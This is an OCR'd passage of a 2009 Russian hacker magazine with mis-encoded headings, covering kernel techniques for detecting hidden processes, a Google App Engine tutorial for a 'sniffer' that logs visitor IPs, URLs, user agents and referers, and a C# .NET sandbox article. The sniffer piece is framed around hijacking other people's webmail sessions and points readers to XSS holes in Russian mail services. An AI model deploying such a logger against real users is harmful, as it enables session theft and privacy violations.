сок процессов постоянно изменяется и, если указатель 
на EPROCESS (ищем мы именно его, не забывай), будет 
удален, то в лучшем случае драйвер вылетит в BSOD. Об 
этом надо помнить. Как это реализовать на практике? Ис-
пользовать callback-функцию PsSetCreateProcessNotifyR
outine,  которая установит нотификатор, информирующий 
нас о создании или удалении процесса. Еще одним на-
дежным способом выявления скрытых процессов может 
служить перехват SwapContext (перехват переключения 
потоков). Так называемая псевдомногозадачность в ОС 
Windows реализуется таким образом, что через опреде-
ленные промежутки времени, равные 10-20 мс (называе-
мые квантом времени), таймер ОС генерирует прерыва-
ние, которое в свою очередь вызывает планировщик. И 
если квант времени, связанный с текущим потоком, истек, 
то происходит переключение потоков. Переключение 
потоков выполняется неэкспортируемой функцией ядра 
KiSwapContext. Эта функция вызывается планировщиком 
при истечении кванта времени потока либо при ожидании 
потоком какого-либо события. В первом случае функция 
вызывается из KiDispatchInterrupt, а во втором — из неэк-
спортируемой функции, которая в свою очередь вызыва-
ется из KeWaitForSingleObject, KeDelayExecutionThread и 
KeWaitForMultipleObjects.
Все, что нужно — это найти адрес KiSwapContext в ядре 
с использованием диззассемблера длин инструкций! 
Эту функцию можно легко найти в любой версии ядра по 
сигнатуре «0F 20 C5» (mov ebp,cr0). 
На момент вызова KiSwapContext регистр EDI указывает 
на структуру ETHREAD-потока, который останавливается, 
а регистр ESI — на структуру ETHREAD-потока, который 
получает управление. В данной ситуации сплайсинг 
функции — самое то. Для этого запишем в начало функции 
KiSwapContext инструкцию JMP на нашу hook-функцию. 
В ней мы обрабатываем входные параметры так, как нам 
нужно, и передаем управление оригинальной функции 
через Trampoline. Чтобы не восстанавливать начальные 
байты оригинальной функции (а то потом придется искать 
момент, как опять в начале записать JMP), начальные ин-
струкции копируются в специально выделенную область 
памяти, к которым добавляется JMP на продолжение 
функции (Trampoline function). 
Код драйвера, реализующий перехват KiSwapContext, 
ищи на диске.

ÕÅÍÄËÛ
Хендлы открытых файлов — удивительная вещь, о которой 
доморощенные троянописатели часто забывают. Полу-
чить список открытых хендлов можно как в usermod’ном 
режиме, так и непосредственно в ядре Windows. Для 
этого, как говорилось выше, используется уже известная 
нам системная функция ZwQuerySystemInformation с 
переданным ей параметром SystemHandleInformation. К 
примеру, этот нехитрый способ будет выявлять процессы, 
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На диске ты найдешь 
программную реали-
зацию рассматривае-
мых способов детекта 
скрытых процессов, 
книжки-раскраски 
и руткит-хантеры.

dvd

DVD

info

Особенность Windows 
XP в том, что перехват 
системных вызовов 
должен произво-
диться как через 
sysenter, так и через 
int 2Eh, поэтому пере-
хватывать нужно оба 
обработчика.

INFO

РЕАЛИЗАЦИЯ ПЕРЕХВАТА SWAPCONTEXT
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ПРОЦЕССЫ, СКРЫТЫЕ УТИЛИТОЙ HIDETOOLZ

ФИШКИ WINDOWS 7: БОЛЬШЕЕ ВРЕМЯ РАБОТЫ НОУТБУКА ОТ БАТАРЕИ

Еще одно преимущество для мобиль-
ных компьютеров: Windows 7 прод-
левает время работы от батарейки. 
«Семерка» — это отнюдь не только 
приятные внешние изменения, но 
еще и огромное количество усо-
вершенствований внутри системы, 
которые скрыты от пользователей. 
Windows 7 обеспечивает еще боль-
шую эффективность за счет уменьше-
ния (а во многих случаях ликвидации) 
фоновой активности в системе. В тех 
случаях, когда такая деятельность не 
может быть исключена (например, 
для таймеров на USB-стеке), систе-
ма использует специальный меха-

низм — Windows 7 Timer Coalescing. 
Коалесцирующие таймеры позволяют 
системе согласовать различные фо-
новые задачи и выполнять их в одно и 
тоже время, предоставляя процессору 
более длительные периоды времени 
для простоя. То есть, когда процессор 
не используется активно, то можно 
сгруппировать имеющиеся задачи и 
выполнять их пачками. Современные 
CPU в idle-режиме позволяют по-
разительно снизить энергопотребле-
ние, однако, вход и выход из такого 
режима являются весьма накладными 
операциями. Если процессор про-
стаивает в течение очень короткого 

периода времени, мощность, необ-
ходимая для входа и выхода в режим 
низкого энергопотребления, может 
быть больше, чем полученная от пре-
бывания в idle-режиме выгода. Тех-
нология Timer Coalescing позволяет 
максимально эффективно использо-
вать режимы работы новых процес-
соров и таким образом увеличивает 
продолжительность работы ноутбука 
от батарейки. Кроме того, Windows 7 
откладывает некритические фоновые 
процессы, когда ноутбук работает от 
аккумулятора, что позволяет увели-
чить срок службы батареи портатив-
ного компьютера. 

скрытые путем исключения структуры EPROCESS из двусвязанного 
списка. Для удобства перечисления хэндлов все таблицы хэнд-
лов объединены в двусвязный список HandleTableList. Проблема 
заключается лишь в том, как его найти, ибо нет таких системных 
функций, которые могли бы заполучить этот самый вожделенный 
список. Начинается список с HandleTableListHead, поэтому для ее 
поиска необходимо знать, что HandleTableListHead — это глобальная 
переменная ядра, следовательно, она находится в одной из секций 
его PE-файла, а остальные элементы HandleTableList находятся в 
динамически выделяемой памяти и всегда будут за его пределами. 
Из этого следует, что нам нужно получить указатель на HandleTable 
любого процесса, и двигаться по связанному списку до тех пор, пока 
его элемент не окажется внутри PE-файла ядра. Этот элемент и будет 
HandleTableListHead. Сложно? Только на первый взгляд. Смотрим 
код:

Поиск HandleTableListHead

HandleTable = *(PHANDLE_TABLE *)((ULONG)

   PsGetCurrentProcess() + HandleTableOffset);

HandleTableList = (PLIST_ENTRY)((ULONG)HandleTable + 

   HandleTableListOffset);

for (PLIST_ENTRY CurrentHandleTable = HandleTableList->

   Flink;  

   CurrentHandleTable != HandleTableList; 

   CurrentHandleTable = CurrTable->Flink)

{

   if ((ULONG)CurrentHandleTable > KernelBase && (ULONG)

CurrentHandleTable < KernelBase + KernelSize) 

   {

      return CurrentHandleTable;

   }

} 

Здесь в CurrentHandleTable и будет содержаться адрес искомой  
HandleTableListHead. Далее мы можем пройтись по таблицам хэндлов 
и построить по ним список запущенных процессов.

ÇÀÊËÞ×ÅÍÈÅ
Я попытался собрать и кратко описать относительно известные и не 
очень способы выявления скрытых процессов в Windows. Как видишь, 
найти скрытый процесс достаточно легко, и иногда бывает достаточ-
но скомбинировать несколько вышеописанных способов. Удачного 
компилирования и да пребудет с тобой Сила! z
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В моей статье за прошлый месяц мы обсудили 
некоторые сервисы Гугла, но один из них я 
сознательно оставил для отдельного рас-
смотрения. Google App Engine (GAE) — одна 
из перспективнейших масштабируемых 
«облачных» технологий. Он представляет 
собой крутой хостинг, который автоматически 
увеличивает свою «скорость» в зависимости 
от количества юзеров. Если сегодня у нас 100 
юзеров, то хостинг работает. Если завтра при-
дет еще 1 миллион сверху, то Гугл автоматиче-
ски подкинет серверов, и все наше хозяйство 
будет работать так же стабильно. Кроме того, 
в GAE реализована целая куча дополнитель-
ных API по работе с базой данных, memcache, 
почтой, джаббером… и все это — совершенно 
бесплатно (правда, с некоторыми мелкими 
ограничениями). 

В качестве примера разработки мы напишем 
снифер, который будет сохранять данные о 
зашедших юзерах, а страничка с админкой — 
показывать собранные логи.

ÍÀ×ÀËÎ ÎÏÅÐÀÖÈÈ
Специально для разработки сайтов под GAE 
создан пакет SDK, который позволяет писать 
и тестировать приложение у себя на компе. 
Инсталяху этой штуки можно скачать с http://
code.google.com или взять с нашего DVD.
Архитектура снифера следующая:
• админка для просмотра логов, которая нахо-
дится по адресу /admin/ с авторизацией через 
Гугл-акки;
• логер, который на все запросы после логиро-
вания данных о юзере, будет перенаправлять 
его на другой сайт.

ÐÎÓÒÈÍÃ
Главный файл при создании сайтов в Google 
App Engine — app.yaml, он определяет все 
настройки приложения. Это текстовый файл с 
синтаксисом YAML, который содержит общие 
настройки о названии приложения, его версии, 
и среде исполнения:

application: spirt40

version: 2

runtime: python

api_version: 1

Для нас особенно полезен пункт «версия». 
Когда, к примеру, мы будем заливать новый 
релиз приложения, ее нужно инкрементиро-
вать. Гугл автоматически сохранит старые и 
новые версии файлов и предоставит своим 

СНИФЕР 
ОСОБО КРУПНОГО 
МАСШТАБА

ÏÐÅÄÑÒÀÂËßË ËÈ ÒÛ ÊÎÃÄÀ-ÍÈÁÓÄÜ, ×ÒÎ GOOGLE ÁÓÄÅÒ ËÈ×ÍÎ ÄËß 
ÒÅÁß ËÎÂÈÒÜ ÑÅÑÑÈÈ ÏÎËÜÇÎÂÀÒÅËÅÉ È, ÒÅÌ ÑÀÌÛÌ, ÏÎÌÎÃÀÒÜ 
«ÈÑÑËÅÄÎÂÀÒÜ», Ê ÏÐÈÌÅÐÓ, ×ÓÆÈÅ ÏÎ×ÒÎÂÛÅ ÀÊÊÀÓÍÒÛ? ß — 
ÒÎÆÅ ÍÅÒ. ÄÎ ÒÅÕ ÏÎÐ, ÏÎÊÀ ÍÅ ÏÎßÂÈËÑß GOOGLE APP ENGINE. 

Êîâûðÿåì Google App Engine: ñíèôåð íà Python’å
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покорным слугам (то есть, нам :)) удобнейшую 
систему по переключению на любую версию и в 
любой момент.
Последним пунктом в файле app.yaml будет 
handlers, который устанавливает, как нужно 
реагировать на определенные URL. У нас он 
будет такой:

handlers:

- url: /favicon\.ico

  upload: /

  static_files: favicon.ico

- url: /.*

  script: index.py

В первом пункте в параметре url регуляркой 
обозначаем, что если браузер запрашивает 
favicon.ico, то отдаем статический файл с корне-
вой папки. Это правило можно было пропустить, 
но браузеры данную иконку часто запрашивают 
автоматически, и отсутствие ее грозит нам 
таким же автоматическим засорением логов. Во 
втором пункте настроек все остальные запросы 
мы направляем на index.py.

ÕÅËËÎ, ÂÎÐËÄ
Скрипты на GAE для работы с WEB используют 
CGI, о котором мы уже говорили при создании 
сплойтпака, поэтому давай перейдем сразу к 
программингу. Начнем с вывода текста. Для 
этого сохраним файл index.py со следующим 
содержанием:

print 'Content-Type: text/plain'

print ''

print 'Hello, ][akep!'

Можем посмотреть на наше первое приложе-
ние в браузере. Для старта тестового сервера 
запусти скрипт dev_appserver.py с папкой со 
скриптами в качестве параметра. В Windows это 
будет выглядеть так:

C:\>"C:\Program Files\Google\

google_appengine\dev_appserver.py" 

d:\snifer

Теперь перейди в браузере по URL http://
localhost:8080 и убедись в работоспособности 
приложения.

WEBAPP
CGI стабильно работает, но это несколько 
неудобно для сложных приложений. Давай 
лучше перейдем на WSGI-инфраструктуру, 
реализуемую в модуле webapp. Саму возмож-
ность использовать WCGI нам дает функция 
run_wsgi_app(), которая, по сути, преобразует 
WCGI в CGI. Посмотрим теперь на каркас кода 
нашего снифера:

from google.appengine.ext \

    import webapp

from google.appengine.ext.\

     webapp.util import run_wsgi_app

class AdminPage(

        webapp.RequestHandler):

    def get(self):

        self.response.out.\

            write('Hello Admin, ][akep')

class MainPage(

        webapp.RequestHandler):

    def get(self):

        self.response.out.\

            write('Hello, ][akep')

application = webapp.

WSGIApplication(

    [('/admin/', AdminPage),

    ('.*', MainPage)],

    debug=True)

if __name__ == "__main__":

    run_wsgi_app(application)

В конце скрипта мы запускаем webapp.
WSGIApplication, в конструктор которого пере-
даем параметры, которые определяют связь 
между URI и классами — обработчиками запро-
сов. Если URI соответствует регулярке ‘/admin/’, 
то используем класс AdminPage. Все остальные 

запросы направляем на обработчик MainPage.
Обработчики представляют собой класс, на-
следованный от webapp.RequestHandler. В них 
названия методов соответствуют типам запро-
сов. Здесь мы используем лишь GET. Также нам 
пригодится то, что из свойства request-класса 
можно получить входные параметры запроса, а 
через свойства response будем управлять вы-
водом, к примеру, так:

self.response.out.write('Hello, 

][akep')

ÀÂÒÎÐÈÇÀÖÈß
Для внедрения в наш проект авторизации мы 
заюзаем API Гугл-авторизации, доступный в 
модуле users. В нем нам интересны два метода: 
get_current_user() и create_login_url(). Первый 
возвращает объект, который описывает текущего 
пользователя или None, если юзер не авторизи-
рован. create_login_url() возвращает URL, перей-
дя на который можно авторизироваться. Теперь 
добавим в начало AdminPage строки, которыми 
получим текущего юзера, а если он не авторизи-
рован, то направим его на нужную страницу:

from google.appengine.api \

    import users

user = users.get_current_user()

if not user:

    self.redirect(users.\

        create_login_url(

        self.request.uri))

В create_login_url мы передаем URL, на кото-
рый юзера перешлют после авторизации. Сам 
редирект вызывается методом redirect объекта 
AdminPage.
Разумеется, на этом этапе авторизация еще не 
завершена, ведь пока любой, у кого есть Гугл-
акк, сможет смотреть логи. Для избавления от 
этой беды можно заюзать примерно такой код:

if user != 'your_login':

    self.redirect(

        'http://google.com')
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Эти строчки в финальное приложение я добавлять не 
буду, чтобы ты смог беспрепятственно зайти и посмотреть 
админку.

BIGTABLE
Google для своих целей по хранению инфы использует 
масштабируемую базу данных BigTable и дает нам возмож-
ность из GAE затестить ее в работе. Правда API ее настолько 
высокоуровневое, что вряд ли у тебя получится прочувство-
вать внутреннюю архитектуру. Само же API для доступа к БД 
сделано как в Django. Для работы нашего снифера нужно 
описать класс таблицы БД, наследованный от db.Model, и в 
нем описать все поля:

from google.appengine.ext import db

class Sniffer(db.Model):

    ip = db.StringProperty()

    request_uri = db.StringProperty()

    ua = db.StringProperty()

    referer = db.StringProperty()

    date = db.DateTimeProperty(

        auto_now_add=True)

Здесь мы видим, что поля таблицы при описании представ-
ляют собой простые свойства объекта, которым мы присваи-
ваем соответствующие классы. Для текстового поля исполь-
зуем db.StringProperty(), для даты — db.DateTimeProperty(). 
Заметим, что при описании поля мы можем передавать 
дополнительные параметры. Так, например, в поле с датой 
передаем параметр auto_now_add=True, чем заставляем 
БД автоматически записывать текущую дату в это поле при 
создании записи.
Теперь, когда в файл index.py мы добавили описание базы, 
ее можно использовать. Для записи данных нужно создать 
на основе этого класса объект и заполнить поля. Для снифе-
ра на страницу MainPage добавим строчки:

snif = Sniffer()

snif.ip = self.request.remote_addr

snif.request_uri = self.request.uri

snif.ua = self.request.user_agent

snif.referer = self.request.referer

snif.put()

Информацию для заполнения полей мы берем из self.
request. Именно этим мы сохраняем IP пользователя, адрес 
по которому он пришел, юзер-агент и реферер. Вызов мето-
да snif.put() сохраняет данные в базу.
В классе AdminPage нам нужно чтение лога из базы. Дела-
ется это еще проще, чем запись:

log = Sniffer.all().order("-date")

Тут мы выбираем все элементы, сортируем по дате в обрат-
ном порядке и сохраняем результат в переменную log.

ÒÅÌÏËÅÉÒÛ
Для класса MainPage вывод HTML не нужен, достаточно по-
сле получения данных дальше перенаправить пользователя 
уже знакомым redirect’ом, например, на страницу Гугла.
Однако класс AdminPage требует вывод статистики, поэто-
му для формирования HTML-вывода мы заюзаем шабло-
низатор. Но сначала сформируем данные для него в виде 
словаря. Думаю, списка логов и имени юзера достаточно:
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• Все исходники с 
полными коммен-
тариями смотри на 
диске. 
• Также на диске 
ищи демо-видео 
по использованию 
снифера.

dvd

DVD

ЛОГОТИП GAE

СРАВНЕНИЕ GAE C AMAZON

• Сайт Google App 
Engine: http://
code.google.com/
appengine.

• Туториал от Google: 
http://code.google.
com/appengine/docs/
python/gettingstarted.

• Об использования 
Джабера в Google 
App Engine: http://
code.google.com/
appengine/articles/
using_xmpp.html.

links

HTTP://WWW

ГДЕ БРАТЬ АКТИВНЫЕ XSS?

Èñêàòü èõ ïðîùå âñåãî â Ãóãëå. Êðîìå òîãî, íóæíî ÷èòàòü ñïåöèàëèçèðîâàí-
íûå ñàéòû, âîò íåêîòîðûå èç íèõ.
• äëÿ mail.ru, rambler.ru, e-mail.ru, pochta.ru:
http://sin3v.org/ss.php
• äëÿ meta.ua, i.ua, ukr.net:
http://uasc.org.ua/2009/09/ua-mail-xss

GOOGLE APP ENGINE

Google App Engine — ñåðâèñ õîñòèíãà ñàéòîâ 
è web-ïðèëîæåíèé íà ñåðâåðàõ Google ñ áåñïëàò-
íûì èìåíåì <èìÿ_ñàéòà>.appspot.com, ëèáî ñ 
ñîáñòâåííûì èìåíåì. App Engine ïðåäñòàâëåíà â 
àïðåëå 2008. Ñåé÷àñ ñêðèïòû ìîæíî ïèñàòü ëèøü 
íà Python èëè Java, õîòÿ ïîñëåäíèé ïîÿâèëñÿ íå-
äàâíî. Äàííûé ìîìåíò îáúÿñíÿåòñÿ òåì, ÷òî Python 
— îñíîâíîé ñêðèïòîâûé ÿçûê Google. Â 2005 ãîäó 
êîìïàíèÿ äàæå íàíÿëà íà ðàáîòó ñîçäàòåëÿ ÿçûêà 
Ãèëäî âàí Ðîññóìà.

info
Как всегда — все 
представлено только 
для ознакомления. 
Тестируй снифер 
лишь в обучающих 
целях!

INFO



>> coding

template_values = {

    'user': user,

    'log': log,

}

GAE использует шаблонизатор такой же, как и 
в Django, и находится он в модуле templates. 
В нем самая главная функция render, которая 
принимает путь к шаблону и переменные для 
передачи в шаблон, а результат — сформи-
рованный HTML — возвращается простой 
строкой:

self.response.out.write(

    template.render('template/admin.

html', template_values)

)

Теперь создадим файл template/admin.html и 
сохраним его с вот таким содержанием:

<html>

<body>

   <h1>Hello, {{ user }}</h1>

 <ul>

  {% for item in log %}

  <li><ul>

  <li>{{ item.ip }}</li>

  <li>{{ item.request_uri }}</li>

  <li>{{ item.ua }}</li>

  <li>{{ item.referer }}</li>

  <li>{{ item.date }}</li>

  </ul></li>

 {% endfor %}

 <ul>

</body>

</html>

Как видишь, сам шаблон — простой HTML с 
некоторыми вставками. Строкой {{ user }} мы 
выводим переданную в шаблон переменную. 
Также можно использовать управляющие 
конструкции, и они помещаются в {% %}. В 
нашем случае мы используем for для перебора 
построчно всех логов — {% for item in log %}
{% endfor %}. В самом теле цикла мы выводим 

переменную item, которая представляет собой 
одну строку из лога. Для вывода на экран полей 
из этой строчки, чтобы получить доступ к свой-
ствам, используем «.». К примеру, {{ item.ip }} 
выведет айпишник.

DEPLOY
Кажется невероятным, но вот так легко и 
почти незаметно мы создали снифер на 
платформе Google App Engine. Осталось 
лишь задеплоить его — то есть, запустить на 
сервере. Для этого сначала зарегистрируемся 
на https://appengine.google.com, изменим в 
файле app.yaml параметр application на тот, 
что нам дали при регистрации. И запустим 
загрузчик: appcfg.py update d:/snifer.
Готовое приложение снифера находится по 
адресу http://spirt40.appspot.com, так что 
можешь использовать его в своих «научных» 
целях. Вот и все, надеюсь, моей маленькой 
статьи хватит, чтобы заинтересовать тебя и 
сподобить на углубленное изучение и исполь-
зование платформы GAE. Удачи! z

 093

ЕЩЕ ОДНО СРАВНЕНИЕ ОБЛАЧНЫХ СИСТЕМ

XÀÊÅÐ  11  /131/  09



XÀÊÅÐ  11  /131/  09

CODING
 АЛЕКСАНДР  ЭККЕРТ   ALEKSANDR-EHKKERT@RAMBLER.RU

 094

ÏÅÑÎ×ÍÈÖÀ
Что такое «песочница» для айтишника? В 
первую очередь, это слово должно быть до боли 
знакомо SEO-оптимизаторам. Например, 
одну из значительных проблем для опти-
мизаторов представляет Google Sandbox. 
Это одно из самых серьезных препятствий, 
которое необходимо преодолеть новому сай-
ту, прежде чем попасть в результаты поиска 
Google. Песочница Google не позволяет но-
вым сайтам искусственным путем улучшать 
свои позиции. Далеко не каждая поисковая 
система имеет подобную фильтрацию.
Сайты, оказавшиеся в песочнице, могут про-
быть там от двух недель до года. В течение 
этого периода новые сайты успеют занять 
высокие позиции в других поисковых систе-

мах, но не в Google. Однако мы поговорим о 
другой «песочнице» — программной. 
Существующая концепция создания про-
граммной «песочницы» включает в себя 
такие «несложные» пункты: эмуляция 
железа и операционной системы, запуск 
вероятно «зловредного приложения», 
отслеживание его действий и их последую-
щий анализ. Имеющиеся на данный мо-
мент решения по большей части сводятся 
к перехвату системных функций и анализу 
выполнения подозрительного кода. И надо 
сказать, что эта система очень даже не-
плохо работает.
Но повышенная безопасность исполнения кода 
в «песочнице» зачастую связана с большой 
нагрузкой на систему — именно поэтому неко-

торые виды «песочниц» используют только для 
неотлаженного или подозрительного кода.
Википедия утверждает, что «песочницы» в 
природе часто встречаются в виде апплетов, 
которые исполняются в виртуальной машине 
или интерпретаторе, позволяя запускать 
Java-код с любых веб-сайтов без угрозы 
операционной системе, а также так называе-
мых «тюрем», которые позволяют вводить 
ограничения ресурсов для пользователей 
и процессов некоторых ОС. Наиболее по-
пулярны виртуальные машины, полностью 
эмулирующие «стандартный» компьютер 
(например, VirtualBox или VMvare и др).
Помимо ограничения вредоносного и непро-
веренного ПО, «песочницы» также исполь-
зуются в процессе разработки для запуска 

ВЗРОСЛЫЕ 
ИГРЫ 
В ЭЛЕКТРОННОЙ 
ПЕСОЧНИЦЕ
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ÅÑÒÜ ÌÍÎÃÎ ÑÏÎÑÎÁÎÂ ÁÎÐÜÁÛ ÑÎ ÂÑßÊÎÉ ÌÀËÂÀÐÜÞ — ÍÀ×ÈÍÀß 
ÎÒ ÑÀÌÛÕ ÏÐÎÑÒÛÕ ÀÍÒÈÂÈÐÓÑÎÂ, ÏÐÎÀÊÒÈÂÍÛÕ ÇÀÙÈÒ È 
ÔÀÉÐÂÎËÎÂ È ÇÀÊÀÍ×ÈÂÀß ÑËÎÆÍÛÌÈ ÑÏÎÑÎÁÀÌÈ ÂÐÎÄÅ 
ÝÌÓËßÖÈÈ ÎÁÎÐÓÄÎÂÀÍÈß È ÎÏÅÐÀÖÈÎÍÍÛÕ ÑÈÑÒÅÌ. 
ÍÀ ÏÐÎÃÐÀÌÌÍÎÌ ÐÛÍÊÅ ÌÎÆÍÎ ËÅÃÊÎ ÎÒÛÑÊÀÒÜ ÑÏÎÑÎÁÛ 
ÇÀÙÈÒÛ ÑÂÎÅÉ ÑÈÑÒÅÌÛ. Â ÝÒÎÉ ÆÅ ÑÒÀÒÜÅ ÌÛ ÏÎÃÎÂÎÐÈÌ Î ÒÎÌ 
ÊÀÊ, ÈÌÅß ÏÎÄ ÐÓÊÎÉ ÒÎËÜÊÎ VISUAL STUDIO, ÑÎÑÒÀÂÈÒÜ ÍÅÏËÎÕÓÞ 
ÊÎÍÊÓÐÅÍÖÈÞ ÈÌÅÞÙÈÌÑß ÐÅØÅÍÈßÌ ÁÅÇÎÏÀÑÍÎÑÒÈ. 

Ïðîãðàììèì ïåðñîíàëüíûé Sandbox íà ñèøàðïå



«сырого» кода, который может случайно повредить систему или ис-
портить сложную конфигурацию. Такие «тестировочные песочницы» 
копируют основные элементы среды, для которой пишется код, и 
позволяют разработчикам быстро и безболезненно эксперименти-
ровать с неотлаженным кодом. 
Единственный минус всего сказанного в том, что своими силами 
соорудить подобную «песочницу» довольно проблематично, по-
тому что она потребует знания архитектуры системы, прямого вме-
шательства в ядро и перехвата основных системных вызовов. Мы 
же поговорим о том, как можно, немного поднапрягшись, соору-
дить средствами C# вполне приемлемую реализацию «сандбок-
са», которая позволит существенным образом повысить безопас-
ность твоей системы. И для этого не понадобятся специфичные 
знания системного программиста!

Ñ ×ÅÌ ÐÀÁÎÒÀÅÌ?
Уверен, что ты знаешь: система безопасности в .NET Framework 
представлена пространством имен System.Security. Она содержит 
все необходимые нам программные инструменты.  При разработке 
систем, подобных «песочнице», нужно иметь в виду, что имею-
щиеся на вооружении методы можно разбить на две подгруппы 
— методы обеспечения безопасности на основе ролей Windows и 
методы, ограничивающие поведение управляемого кода. 
В чем разница между ними? Если говорить просто и примитивно 
— безопасность на основе ролей на порядок ниже, чем прямое 
ограничение вмешательства кода в систему. Хотя бы потому, что в 
Windows, несмотря на имеющиеся роли пользователей, все сидят 
под правами администратора (правильно, а чего мелочиться?). 
Этот фактор очень часто приводит к запуску малвари и руткитов 
на компе. С учетом того, что код будет запускаться на машине 
именно с правами админа, на мой взгляд, гораздо эффективнее 
разграничивать способы воздействия кода на систему. Об этом и 
поговорим.
Основой для создания «песочницы» должны являться так назы-
ваемые зоны безопасности. CLR определяет пять таких зон: «Мой 
компьютер», Интранет, доверенная зона, Интернет, недоверенная 
зона и «отсутствие зоны». Это распределение является наиболее 

важным для обеспечения безопасности — зоны определяют ее 
основой уровень. Программная реализация зональной безопас-
ности представлена в классе ZoneIdentityPermission. Включи этот 
класс в код и можешь смело ограничивать его исполнение:

public class Secured

{

   [ZoneIdentityPermission(SecurityAction.

LinkDemand, Zone=SecurityZone.MyComputer)]

   public static void SaySomething(String Input)

   {

      MessageBox.Show(Input);

   }

}

Нет необходимости перечислять и рассказывать о многочисленных 
атрибутах и методах, предоставленных программисту в .NET. По-
зволю себе рассказать только о нескольких наиболее интересных. 
Основным атрибутом, используемым в программной реализа-
ции «песочницы», может служить [SecurityPermissionAttribute] 
— он позволяет назначить практически любую логику поведе-
ния кода. Очень важный атрибут — [PermissionSetAttribute]. 
К примеру, его можно использовать для постановки запре-
та открытия/чтения какого-либо файла:  [System.Security.
Permissions.FileIOPermission(SecurityAction.Deny,All=«C:\\
Windows\\file.dll»)].
Пространство имен System.Security включает также атрибут AllowParti
allyTrustedCallersAttribute, который позволяет «частично доверенному 
коду» вызывать ваши «строгие» сборки («strongly named assembly»). 
Вместе с тем, его использование имеет две стороны медали — если ты 
добавишь этот атрибут к «строгой» сборке, то это даст шанс недовере-
ному коду поставить под угрозу всю концепцию безопасности. А если ты 
не добавишь этот атрибут, код, вероятно, и вовсе не сможет вызывать 
«строгие» сборки. 
Очень удобен для использования в проектируемой «песочнице» класс 
SecurityManager; нижеследующий код наглядно показывает его исполь-
зование:
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Использование класса SecurityManager

 CodeAccessPermission cap = new 

   FileIOPermission 

   (FileIOPermissionAccess.AllAccess, @"C:\");

PrincipalPermission  PP = new 

   PrincipalPermission (SystemInformation.\

   UserName, "Administrator");

   if (SecurityManager.SecurityEnabled)

   {

      if (SecurityManager.CheckExecutionRights)

     (...)

      if (SecurityManager.IsGranted(PP)) (...)

      if (SecurityManager.IsGranted(CAP)) (...)

      Policies = SecurityManager.

PolicyHierarchy();

      while (Policies.MoveNext())

      {

         Policy = (PolicyLevel)Policies.Current;

      }

   }

Он вполне может служить основой для разработки 
«песочницы» и показывает использование двух типов 
разрешений: класс CodeAccessPermission определяет, 
что может делать или не делать код. К примеру, даже если 
у юзера будут права на доступ к жесткому диску, сам код 
может и не получить доступа. Забавно, не правда ли? Класс 
PrincipalPermission фокусирует взгляд на правах пользо-
вателя. Он поможет проверить, какими правами обладает 
тот или иной пользователь. 
Существует, конечно, возможность определить не-
обходимые разрешения для выполнения приложения, 
однако как быть, если их нужно объединить в одно 
логическое целое? Для этого и существует такой класс, 
как PermissionSet. В нем есть несколько ключевых мето-
дов, которые позволяют легко реализовать нужную нам 
функциональность «песочницы»: метод AddPermission() 
добавит выбранное тобой разрешение для приложения, 
а методы Demand(), Assert() и др. реализуют программную 
логику по контролю за кодом:

Использование PermissionSet

class Program

{

  static void Main()

  {

    string pluginFolder = AppDomain.

CurrentDomain.

    BaseDirectory;

    string plugInPath = Path.Combine 

(pluginFolder, 

    "plugin.exe");

    PermissionSet ps = new PermissionSet 

    (PermissionState.None);

    ps.AddPermission

      (new SecurityPermission 

    (SecurityPermissionFlag.Execution));

    ps.AddPermission

      (new FileIOPermission 

   (FileIOPermissionAccess.PathDiscovery |

     FileIOPermissionAccess.Read, plugInPath));

    AppDomainSetup setup = 

    AppDomain.CurrentDomain.SetupInformation;

    AppDomain sandbox = AppDomain.CreateDomain 

   ("Sandbox", null, setup, ps);

    sandbox.ExecuteAssembly (plugInPath);

    AppDomain.Unload (sandbox);

  }

}

APPDOMAIN — 
ÝÒÈÌ  ÂÑÅ ÑÊÀÇÀÍÎ
В С#, в основном пространстве имен System, есть очень 
интересный, но малоиспользуемый в повседневных при-
кладных целях класс — AppDomain. Это своеобразный 
логический контейнер набора сборок.
Смысл моей статьи в том, чтобы показать, что домен 
приложения, в котором исполняется твоя программа, 
определяет доступ к ресурсам и сервисам машины. И 
этот доступ можно жестко задать самому. Домен при-
ложения является своего рода контейнером, который 
определяет набор атрибутов безопасности, предостав-
ленных программе. 
При загрузке CLR (общеязыковая среда исполнения 
платформы .NET) создает домен приложения или 
AppDomain. Основная задача домена приложения — 
обеспечить изоляцию выполнения кода. Как результат — 
объекты, созданные одним AppDomain, не видят другие 
домены приложения, то есть код одного AppDomain не 
может напрямую ссылаться на объект, созданный в дру-
гом AppDomain. Домены приложения можно защищать 
по отдельности — при создании домену приложения 
можно назначить набор разрешений, определяющий 
максимальные права сборок, работающих в AppDomain. 
Это позволяет загружать код и быть уверенным, что он 
не испортит важные структуры данных, используемые 
самим доменом. Кроме того, домены приложения можно 
конфигурировать по отдельности. Короче говоря, C# и 
.NET предоставляет нам возможность контролировать 
не только само приложение, но и доступ кода с разграни-
чениями безопасности на основе ролей (столь любимой 
Microsoft). А скомбинировав изложенные выше способы, 
можно легко создать вполне сильную реализацию «пе-
сочницы», которая добром послужит тебе в укреплении 
безопасности системы.

×ÒÎ ÄÅËÀÒÜ 
Ñ ÍÅÓÏÐÀÂËßÅÌÛÌ ÊÎÄÎÌ?
С управляемым кодом, написанным на языках .NET-
платформы, мы вроде разобрались. Напоследок опреде-

CODING
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На диске лежат 
исходники прими-
тивной реализации 
«песочницы», на-
писанной на C#.

dvd

DVD

Чтобы лучше 
ориентироваться в 
вопросах безопасно-
сти .NET Framework, 
милости просим на 
msdn.microsoft.com/
security, winguides.
com/security, а также 
www.codeproject.
com.

links

HTTP://WWW

info
Для работы непо-
средственно 
с наборами разре-
шений в .NET есть 
утилита CasPOL, 
а вручную можно 
настроить набор по-
литик безопасности 
через Администриро-
вание — Microsoft .
NET Framework 
Configuration.

INFO

 ОТКАЗ ВЫПОЛНЕНИЯ КОДА 



>> coding

лимся с неуправляемым кодом — можно ли его использо-
вать в разработке «песочниц» наподобие нашей? Можно, 
но неуправляемый код требует особого подхода. Поэтому 
ответ на вопрос: «Можно ли да на 100 % контролиро-
вать…» скорее будет отрицательным. Все, что ты смо-
жешь сделать — позволить или запретить выполнение 
неуправляемого кода в программе. И это можно считать 
большим, но вполне объяснимым недостатком .NET 
Framework — уж больно разные подсистемы Windows. По 
факту архитектура .NET Framework дает программисту 
два варианта обеспечения безопасности в системах, 
использующих как управляемый, так и неуправляемый 
код. Первый — использовать функции Win32 API для 

обеспечения безопасности самого приложения. Второй 
— размещать управляемый код в отдельном домене, и 
Microsoft предпочитает его. Впрочем, выбор, как всегда, 
за тобой.

Запрет на использование неуправляемого кода

